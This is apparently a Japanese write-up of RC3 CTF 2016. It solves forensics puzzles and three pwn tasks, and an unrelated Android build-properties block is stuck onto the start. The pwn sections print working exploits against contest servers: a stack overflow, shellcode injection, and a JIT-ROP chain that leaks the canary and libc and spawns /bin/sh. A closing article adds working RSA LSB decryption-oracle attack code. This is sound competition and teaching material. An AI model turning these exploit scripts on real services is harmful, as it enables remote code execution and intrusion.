build.client_mint_status=1
build.build_id=950d1ddb-9c1f-4bb8-b5b6-f3752bb22c0c
build.gplatform=intel-linux-android-4.8-libcxx-x86
build.depot.path=//depot/branches/gmscore_apks_release_branch/120490875.2/google3
build.versionmap=map 120490875 default { // } import buildenv/9410;
build.time=Tue May 31 15\:02\:21 2016 (1464732141)
build.location=social-builder-pool-gmscore@voz22\:/google/src/files/123676479/depot/branches/gmscore_apks_release_branch/120490875.2/READONLY
build.timestamp.as.int=1464732141
build.changelist.as.int=123676479
build.timestamp=1464732141
build.changelist=123676479
UkMz-2016-R09URU0yMQ==
$ echo UkMz | base64 -d
RC3
$ echo R09URU0yMQ== | base64 -d
GOTEM21
RC3-2016-GOTEM21
Graphic Design (Forensics 200)
3DデータのOBJファイルが与えられる。コメントを見ると何かとステゴザウルスの二つの物体があるようなので、ステゴザウルス部分を取り除いてみる。
$ head forensics200.obj
# Blender v2.78 (sub 0) OBJ File: ''
# www.blender.org
mtllib forensics200.mtl
o def_not_the_flag_Text.002
v 2.131841 14.053224 -7.976235
v 1.879015 13.982867 -7.720026
v 1.927970 13.935733 -7.684662
v 2.078477 13.977615 -7.837183
v 2.147170 13.716490 -7.514853
v 2.407256 13.788866 -7.778421
$ grep '^o' forensics200.obj
o def_not_the_flag_Text.002
o stegosaurus
$ awk 'NR==1,/o stegosaurus/{print}' forensics200.obj >a.obj
これをMesh Viewerで表示してみると、flagが得られた。
RC3-2016-St3GG3rz
Breaking News (Forensics 300)
20個のzipファイルが与えられる。hexdumpを見るとところどころにbase64っぽい文字列がまぎれており、それぞれデコードして繋げることでflagが得られる。
$ \ls -1 -v
Chapter0.zip
Chapter1.zip
Chapter2.zip
Chapter3.zip
Chapter4.zip
Chapter5.zip
Chapter6.zip
Chapter7.zip
Chapter8.zip
Chapter9.zip
Chapter10.zip
Chapter11.zip
Chapter12.zip
Chapter13.zip
Chapter14.zip
Chapter15.zip
Chapter16.zip
Chapter17.zip
Chapter18.zip
Chapter19.zip
$ \ls -1 -v | xargs -n1 strings | grep -v '.txt'
GINg
L+^=
<U<i%[
GINg
D{N1
!Rk\
^hE3n
GIKZo=f
GIKZo=f
UkMK
\DjX
pZzU
NR!R9
K4r>&
K)VH,JU(
My0yMAo=
MTYtRFUK
;X c
`s;
(yCc
_/_PK
Wow, these Queebloid folks do not fool around.
H,Q/V(
,Q(NM
0gZ+
?6(U
Y*mO
.Xt]
3oc$M8e
S1lGCg==
2VD%
6[in
,QH,(HM,*V(
QkxTCg==
*Cut to black*
$ echo UkMK | base64 -d
RC
$ echo My0yMAo= | base64 -d
3-20
$ echo MTYtRFUK | base64 -d
16-DU
$ echo S1lGCg== | base64 -d
KYF
$ echo QkxTCg== | base64 -d
BLS
RC3-2016-DUKYFBLS
Dirty Birdy (Forensics 400)
ディスクイメージが与えられる。FTK Imagerで開くとsecretfilesディレクトリがあるので、エクスポートする。
gitリポジトリの状態を見るとPGP秘密鍵が削除されていることがわかるので、git checkoutで復元する。
$ ls
document.txt* README.md* Workbook1.xlsx.gpg*
$ git status
error: unable to open object pack directory: .git/objects/pack: Not a directory
On branch master
Your branch is up-to-date with 'origin/master'.
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git checkout -- <file>..." to discard changes in working directory)
deleted: private.key
Untracked files:
(use "git add <file>..." to include in what will be committed)
README.md
Workbook1.xlsx.gpg
document.txt
no changes added to commit (use "git add" and/or "git commit -a")
$ git checkout private.key
error: unable to open object pack directory: .git/objects/pack: Not a directory
$ cat private.key
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1
(snip)
-----END PGP PRIVATE KEY BLOCK-----
$ file Workbook1.xlsx.gpg
Workbook1.xlsx.gpg: PGP RSA encrypted session key - keyid: 1246B951 2DB12CE2 RSA (Encrypt or Sign) 1024b .
復元したPGP秘密鍵でExcelファイルを復号すると、パスワード付きExcelファイルが得られる。
パスワードのような文字列がdocument.txtにあるが、これにはスペルミスがあり、実際にはpassword123で開くことができた。
$ gpg --import private.key
gpg: key 8FFDF6D6: secret key imported
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key 8FFDF6D6: public key "ThugG (lolz) <nope@gmail.com>" imported
gpg: Total number processed: 1
gpg: imported: 1 (RSA: 1)
gpg: secret keys read: 1
gpg: secret keys imported: 1
$ gpg --output Workbook1.xlsx --decrypt Workbook1.xlsx.gpg
gpg: encrypted with 1024-bit RSA key, ID E22CB12D, created 2016-11-18
"ThugG (lolz) <nope@gmail.com>"
$ cat document.txt
passowrd123
2枚目のシートに白文字でflagが書かれている。
RC3-2016-SNEAKY21
Fencepost (Pwn 150)
IDA Proで開いてアセンブリコードを読むと、[rbp+var_4]を0xFFFFFFFFで初期化した後、0と比較していることがわかる。
また、scanf関数の箇所にスタックバッファオーバーフロー脆弱性がある。
.text:0000000000400823 ; =============== S U B R O U T I N E ======================================= .text:0000000000400823 .text:0000000000400823 ; Attributes: bp-based frame .text:0000000000400823 .text:0000000000400823 sub_400823 proc near ; DATA XREF: main+3Ao .text:0000000000400823 .text:0000000000400823 var_54 = dword ptr -54h .text:0000000000400823 s2 = byte ptr -50h .text:0000000000400823 var_48 = qword ptr -48h .text:0000000000400823 var_40 = dword ptr -40h .text:0000000000400823 var_3C = word ptr -3Ch .text:0000000000400823 s = byte ptr -30h .text:0000000000400823 var_4 = dword ptr -4 .text:0000000000400823 .text:0000000000400823 push rbp .text:0000000000400824 mov rbp, rsp .text:0000000000400827 sub rsp, 60h .text:000000000040082B mov [rbp+var_54], edi .text:000000000040082E mov [rbp+var_4], 0FFFFFFFFh .text:0000000000400835 mov rax, '-eht-ton' .text:000000000040083F mov qword ptr [rbp+s2], rax .text:0000000000400843 mov rax, 'sap-laer' .text:000000000040084D mov [rbp+var_48], rax .text:0000000000400851 mov [rbp+var_40], 'rows' .text:0000000000400858 mov [rbp+var_3C], 'd' .text:000000000040085E lea rdi, aWelcomeToTheRc ; "=== Welcome to the RC3 Secure CTF Login"... .text:0000000000400865 call _puts .text:000000000040086A lea rdi, aPleaseEnterThe ; "=== Please enter the correct password b"... .text:0000000000400871 call _puts .text:0000000000400876 .text:0000000000400876 loc_400876: ; CODE XREF: sub_400823+ACj .text:0000000000400876 lea rdi, format ; "Password: " .text:000000000040087D mov eax, 0 .text:0000000000400882 call _printf .text:0000000000400887 lea rax, [rbp+s] .text:000000000040088B mov rsi, rax .text:000000000040088E lea rdi, aS ; "%s" .text:0000000000400895 mov eax, 0 .text:000000000040089A call ___isoc99_scanf .text:000000000040089F lea rax, [rbp+s] .text:00000000004008A3 mov rdi, rax ; s .text:00000000004008A6 call _strlen .text:00000000004008AB add rax, 1 .text:00000000004008AF mov [rbp+rax+s], 0 .text:00000000004008B4 cmp [rbp+var_4], 0 .text:00000000004008B8 jz short loc_4008D1 .text:00000000004008BA lea rdx, [rbp+s2] .text:00000000004008BE lea rax, [rbp+s] .text:00000000004008C2 mov rsi, rdx ; s2 .text:00000000004008C5 mov rdi, rax ; s1 .text:00000000004008C8 call _strcmp .text:00000000004008CD test eax, eax .text:00000000004008CF jnz short loc_400876 .text:00000000004008D1 .text:00000000004008D1 loc_4008D1: ; CODE XREF: sub_400823+95j .text:00000000004008D1 cmp [rbp+var_4], 0 .text:00000000004008D5 jnz short locret_4008E1 .text:00000000004008D7 mov eax, 0 .text:00000000004008DC call sub_400810 .text:00000000004008E1 .text:00000000004008E1 locret_4008E1: ; CODE XREF: sub_400823+B2j .text:00000000004008E1 leave .text:00000000004008E2 retn .text:00000000004008E2 sub_400823 endp
スタックバッファオーバーフローを用いて[rbp+var_4]を0で上書きすると、flagが得られた。
$ perl -e 'print "\x00"x48 . "\n"' | nc 52.71.70.98 2091 === Welcome to the RC3 Secure CTF Login === === Please enter the correct password below === Password: RC3-2016-STACKPWN
IMS Easy (Pwn 150)
NX無効の32 bit ELF実行ファイルが与えられる。
$ file IMS-easy IMS-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=9da37e8640249fe6a37b5020e1ac6c5beecfe7a7, not stripped $ readelf -a IMS-easy (snip) Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x000000 0x08048000 0x08048000 0xa6150 0xa6150 R E 0x1000 LOAD 0x0a6f58 0x080eff58 0x080eff58 0x01028 0x023ac RW 0x1000 NOTE 0x0000f4 0x080480f4 0x080480f4 0x00044 0x00044 R 0x4 TLS 0x0a6f58 0x080eff58 0x080eff58 0x00010 0x00028 R 0x4 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 GNU_RELRO 0x0a6f58 0x080eff58 0x080eff58 0x000a8 0x000a8 R 0x1 (snip)
アセンブリコードを読むと、インデックスの範囲チェックがされておらず、スタック上の任意のデータを読み書きできる脆弱性があることがわかる。 そこで、saved ebpを読み出し、リターンアドレスをスタック上に配置したシェルコードの先頭に書き換えるコードを書く。
from minipwn import *
import re
def add_record(s, _id, code):
recvuntil(s, 'Choose: ')
sendline(s, '1')
recvuntil(s, 'Enter product ID: ')
sendline(s, str(_id))
recvuntil(s, 'Enter product code: ')
sendline(s, code)
recvuntil(s, 'IMS\n')
def delete_record(s, index):
recvuntil(s, 'Choose: ')
sendline(s, '2')
recvuntil(s, 'Enter index to delete: ')
sendline(s, str(index))
recvuntil(s, 'IMS\n')
def view_record(s, index):
recvuntil(s, 'Choose: ')
sendline(s, '3')
recvuntil(s, 'Enter the index of the product you wish to view: ')
sendline(s, str(index))
data = recvuntil(s, 'There ')[:-6]
recvuntil(s, 'IMS\n')
return data
def do_exit(s):
recvuntil(s, 'Choose: ')
sendline(s, '4')
#s = connect_process(['./IMS-easy'])
s = socket.create_connection(('ims.ctf.rc3.club', 7777))
# leak saved ebp
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
data = m.group(2)
saved_ebp = u32(data[:4])
print "[+] saved_ebp = %x" % saved_ebp
addr_buf = saved_ebp - 0xe0
print "[+] addr_buf = %x" % addr_buf
# put shellcode on the stack
sc = shellcode['x86']
print "[+] len(shellcode) = %d" % len(sc)
add_record(s, u32(sc[8:12]), sc[:8])
add_record(s, u32(sc[20:].ljust(4)), sc[12:20])
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
# overwrite eip
add_record(s, addr_buf, 'AAAABBBB')
do_exit(s)
interact(s)
起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。
$ python test.py [+] saved_ebp = ffba30cc [+] addr_buf = ffba2fec [+] len(shellcode) = 23 id uid=1002(IMS-easy) gid=1002(IMS-easy) groups=1002(IMS-easy) cat /home/IMS-easy/flag.txt RC3-2016-REC0RDZ-G0T-R3KT
IMS Hard (Pwn 400)
上の問題と同じ実行ファイルだが、NXとStack canaryが有効になっている。
$ file IMS-hard
IMS-hard: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bf20997cf9884ed329fc6d3bf91114c79b919868, not stripped
$ readelf -a IMS-hard
(snip)
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00e74 0x00e74 R E 0x1000
LOAD 0x000eb0 0x08049eb0 0x08049eb0 0x00158 0x0019c RW 0x1000
DYNAMIC 0x000ebc 0x08049ebc 0x08049ebc 0x000f8 0x000f8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x000d3c 0x08048d3c 0x08048d3c 0x0003c 0x0003c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
GNU_RELRO 0x000eb0 0x08049eb0 0x08049eb0 0x00150 0x00150 R 0x1
(snip)
Relocation section '.rel.plt' at offset 0x438 contains 15 entries:
Offset Info Type Sym.Value Sym. Name
08049fc0 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
08049fc4 00000207 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
08049fc8 00000307 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
08049fcc 00000407 R_386_JUMP_SLOT 00000000 memcpy@GLIBC_2.0
08049fd0 00000507 R_386_JUMP_SLOT 00000000 fgets@GLIBC_2.0
08049fd4 00000607 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
08049fd8 00000707 R_386_JUMP_SLOT 00000000 fwrite@GLIBC_2.0
08049fdc 00000807 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
08049fe0 00000907 R_386_JUMP_SLOT 00000000 __gmon_start__
08049fe4 00000a07 R_386_JUMP_SLOT 00000000 strtoul@GLIBC_2.0
08049fe8 00000b07 R_386_JUMP_SLOT 00000000 strchr@GLIBC_2.0
08049fec 00000c07 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
08049ff0 00000d07 R_386_JUMP_SLOT 00000000 memset@GLIBC_2.0
08049ff4 00000e07 R_386_JUMP_SLOT 00000000 strncpy@GLIBC_2.0
08049ff8 00000f07 R_386_JUMP_SLOT 00000000 strtol@GLIBC_2.0
(snip)
また、Hintから独自にコンパイルしたlibcが使われていることがわかる。
400: There's a custom libc that is making your life harder :(
そこで、JIT-ROP（Dynamic ROP）を行うことにする。 スタックからstdoutのアドレス、stack canary、main関数からのリターンアドレス（__libc_start_main関数内を指すアドレス）を読み出し、fwrite関数でリターンアドレス以降のメモリを読み出すコードを書くと次のようになる。
from minipwn import *
import re
def add_record(s, _id, code):
recvuntil(s, 'Choose: ')
sendline(s, '1')
recvuntil(s, 'Enter product ID: ')
sendline(s, str(_id))
recvuntil(s, 'Enter product code: ')
sendline(s, code)
recvuntil(s, 'IMS\n')
def delete_record(s, index):
recvuntil(s, 'Choose: ')
sendline(s, '2')
recvuntil(s, 'Enter index to delete: ')
sendline(s, str(index))
recvuntil(s, 'IMS\n')
def view_record(s, index):
recvuntil(s, 'Choose: ')
sendline(s, '3')
recvuntil(s, 'Enter the index of the product you wish to view: ')
sendline(s, str(index))
data = recvuntil(s, 'There ')[:-6]
recvuntil(s, 'IMS\n')
return data
def do_exit(s):
recvuntil(s, 'Choose: ')
sendline(s, '4')
#s = connect_process(['./IMS-hard'])
s = socket.create_connection(('ims.ctf.rc3.club', 8888))
# leak stdout
data = view_record(s, -13)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
data = m.group(2)
libc_stdout = u32(data[4:8])
print "[+] libc_stdout = %x" % libc_stdout
# leak canary
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
canary = int(m.group(1))
print "[+] canary = %x" % canary
# leak libc address
data = view_record(s, 7)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
saved_ebp = int(m.group(1)) % 0x100000000
print "[+] saved_ebp = %x" % saved_ebp
data = m.group(2)
addr_libc = u32(data[:4])
print "[+] addr_libc = %x" % addr_libc
# put canary on stack
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, canary, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
# overwrite eip
plt_fwrite = 0x8048550
buf = p32(plt_fwrite) + 'AAAA' + p32(addr_libc) + p32(0x01010101) + p32(0x1) + p32(libc_stdout)
add_record(s, u32(buf[8:12]), buf[:8])
add_record(s, u32(buf[20:24]), buf[12:20])
do_exit(s)
print '[+] dump libc memory'
f = open('dump.bin', 'wb')
while True:
data = s.recv(8192)
if not data:
break
f.write(data)
f.close()
interact(s)
$ python test.py [+] libc_stdout = f775bac0 [+] canary = -4bdca00 [+] saved_ebp = ff8099d4 [+] addr_libc = f75cdad3 [+] dump libc memory *** Connection closed by remote host *** $ ls -al dump.bin -rw-r--r-- 1 user user 1639091 Nov 20 21:33 dump.bin
次に、読み出したメモリからexecve("/bin/sh", NULL, NULL)を呼ぶために必要なgadgetのオフセットを探し、これを用いてROPを行うコードを書く。
from minipwn import *
import re
def add_record(s, _id, code):
recvuntil(s, 'Choose: ')
sendline(s, '1')
recvuntil(s, 'Enter product ID: ')
sendline(s, str(_id))
recvuntil(s, 'Enter product code: ')
sendline(s, code)
recvuntil(s, 'IMS\n')
def delete_record(s, index):
recvuntil(s, 'Choose: ')
sendline(s, '2')
recvuntil(s, 'Enter index to delete: ')
sendline(s, str(index))
recvuntil(s, 'IMS\n')
def view_record(s, index):
recvuntil(s, 'Choose: ')
sendline(s, '3')
recvuntil(s, 'Enter the index of the product you wish to view: ')
sendline(s, str(index))
data = recvuntil(s, 'There ')[:-6]
recvuntil(s, 'IMS\n')
return data
def do_exit(s):
recvuntil(s, 'Choose: ')
sendline(s, '4')
#s = connect_process(['./IMS-hard'])
s = socket.create_connection(('ims.ctf.rc3.club', 8888))
# leak canary
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
canary = int(m.group(1))
print "[+] canary = %x" % canary
# leak libc address
data = view_record(s, 7)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
saved_ebp = int(m.group(1)) % 0x100000000
print "[+] saved_ebp = %x" % saved_ebp
data = m.group(2)
addr_libc = u32(data[:4])
print "[+] addr_libc = %x" % addr_libc
# put canary on stack
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, canary, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
# overwrite eip
dump = open('dump.bin').read()
addr_ret = 0x80484d2
offset_binsh = dump.index('/bin/sh\x00')
offset_pop_eax = dump.index('\x58\xc3')
offset_pop_ebx = dump.index('\x5b\xc3')
offset_pop_ecx_edx = dump.index('\x59\x5a\xc3')
offset_int80 = dump.index('\xcd\x80')
print "[+] offset_binsh = %x" % offset_binsh
print "[+] offset_pop_eax = %x" % offset_pop_eax
print "[+] offset_pop_ebx = %x" % offset_pop_ebx
print "[+] offset_pop_ecx_edx = %x" % offset_pop_ecx_edx
print "[+] offset_int80 = %x" % offset_int80
buf = p32(addr_libc + offset_pop_eax) + p32(11)
buf += p32(addr_libc + offset_pop_ebx) + p32(addr_libc + offset_binsh)
buf += p32(addr_ret)
buf += p32(addr_libc + offset_pop_ecx_edx) + p32(0) + p32(0)
buf += p32(addr_libc + offset_int80)
add_record(s, u32(buf[8:12]), buf[:8])
add_record(s, u32(buf[20:24]), buf[12:20])
add_record(s, u32(buf[32:36]), buf[24:32])
do_exit(s)
print '[+] got a shell'
interact(s)
起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。
$ python test2.py [+] canary = -15d07300 [+] saved_ebp = ff84df44 [+] addr_libc = f757ead3 [+] offset_binsh = 143fb9 [+] offset_pop_eax = ab55 [+] offset_pop_ebx = 10d [+] offset_pop_ecx_edx = 14748 [+] offset_int80 = 14a12 [+] got a shell id uid=1001(IMS-hard) gid=1001(IMS-hard) groups=1001(IMS-hard) cat /home/IMS-hard/flag.txt RC3-2016-SAVAGE-1337HAX-BRO
所感
他に解きたかった問題は以下。
- Bridge of Cyber (Misc 200)
- "Just joking," Joker joked! (Web 200)
- Some Pang (Forensics 50)
- FLE (Reversing 200)
- GoReverseMe (Reversing 250)
関連リンク
plain RSAに対するLSB decryption oracle attackをやってみる
「RSAに対する適応的選択暗号文攻撃とパディング方式」では、パディングなしのRSA（plain RSA）が選択暗号文攻撃に対して安全でない、つまり任意の暗号文を復号した結果を得られるとき、与えられた暗号文を直接復号することなく平文が得られることについて確認した。 一方、復号した結果の最下位ビットのみが得られるときについても、暗号文に対応する平文が求められることが知られている（LSB decryption oracle attack）。 ここでは、plain RSAに対してLSB decryption oracle attackを行い、平文が得られることを確認してみる。
LSB decryption oracle attack
LSB decryption oracle attackは、任意の暗号文を復号した結果の最下位ビットを得ることができるとき、与えられた暗号文に対応する平文を求める攻撃である。
RSAの公開鍵n, e、与えられた暗号文c、これに対応する平文mについて、次のような性質が成り立つ。
(2^e)*c = (2*m)^e (mod n)を復号した結果の2*m (mod n)について、最下位ビットが1であれば2*m > n、0であれば2*m <= n- nは奇数、かつ
2*m < 2*nであるから、2*m (mod n)が奇数であれば2*m > n、偶数であれば2*m <= nとなる
- nは奇数、かつ
これを言い換えると「最下位ビットが1であればn/2 < m < n、0であれば0 <= m <= n/2」となり、mの範囲を半分に絞ることができる。
同様に、(2^e)*(2^e)*cを復号した結果の最下位ビットからこの範囲をさらに半分に絞ることができ、これを繰り返して二分探索を行うことでmを求めることができる。
実際にコードを書くと、次のようになる。
# lsb_decryption_oracle.py
from fractions import Fraction
def lsb_decryption_oracle(c, decrypt_lsb):
bounds = [0, Fraction(n)]
i = 0
while True:
print i
i += 1
c2 = (c * pow(2, e, n)) % n
lsb = decrypt_lsb(c2)
if lsb == 1:
bounds[0] = sum(bounds)/2
else:
bounds[1] = sum(bounds)/2
diff = bounds[1] - bounds[0]
diff = diff.numerator / diff.denominator
if diff == 0:
m = bounds[1].numerator / bounds[1].denominator
return m
c = c2
n = 0x00c1e6ad543efcdd3cc8e6cafa580cd3b875a96a8bfdf87e207cddd333f120bce34fc1e1c7893f69065370d47d63c5e52bd342ad34f9b6d326a76c77cf21b6a299953825042f1a57a4886df800a868f5e301725b6ff957382f100375bef368250908192b3be2015d6284eb07cc492321452a74f664d2fe317c2651e306d69e5a7d0fb88bad26878b7bc82b836e5a23f336c3a30ad161c5769e4429ef6ac6803f217b015de4c1251fac8f92f1bafa5fa36573a0dddb8b5b1a5c39ff162c8aaca32a7a3fa872d3565b781cca4dc3e0e095d884c97032e4e3f3f3a31788d110b1d9ab60e39c6ad6742d9460be8432fe33a6b506473acaef8badb88ab74a3fa79bfa61
e = 65537
def decrypt_lsb(c):
d = 0x00c087fe7f7273be71c6c273b5948c580606bf0c0ea9457e675fd51b0bae57e576881169d0a9550f41bac48419656270a5cd859d5ac6c1647433361ed8cb0efff1241bb595abf7aa22b35d0e2e090aff6c42597cb5788dc439e6daa8a5cc2712ef1edd6ef26cfd11eeeb303c73fa0329dbf5c66189c77fa33f350586399a0d6ea698e9b59b7a6434672e247d96c0d5a6f70d8bd403c9b59e4c25cf9208f3a56920837d817ca3dde1f456c7b5a568f1f4802777a58e93308a94826c9a1e19bfce23c715937b7a47d4200150f2af0e5163e130ecdd0ad89062c7356cb5b3a3dc0b9f2de73b1f40bcc93b40b31ba1e46055336d782826e4955242bb0b23a4a5e90001
m = pow(c, d, n)
return m % 2
m = 1234567890123456789012345678901234567890
c = pow(m, e, n)
print lsb_decryption_oracle(c, decrypt_lsb)
decrypt_lsb関数は、暗号文を復号し、その結果の最下位ビットを返す関数である。 また、上のコードでは、切り捨て誤差をなくすためfractionsモジュールで有理数演算を行っている。
このコードを実行すると、次のようになる。
$ python lsb_decryption_oracle.py 0 1 2 3 4 (snip) 2044 2045 2046 2047 1234567890123456789012345678901234567890
上の結果から、Nのビット数の回数だけ二分探索を繰り返した後、与えられた暗号文に対応する平文が得られていることが確認できる。
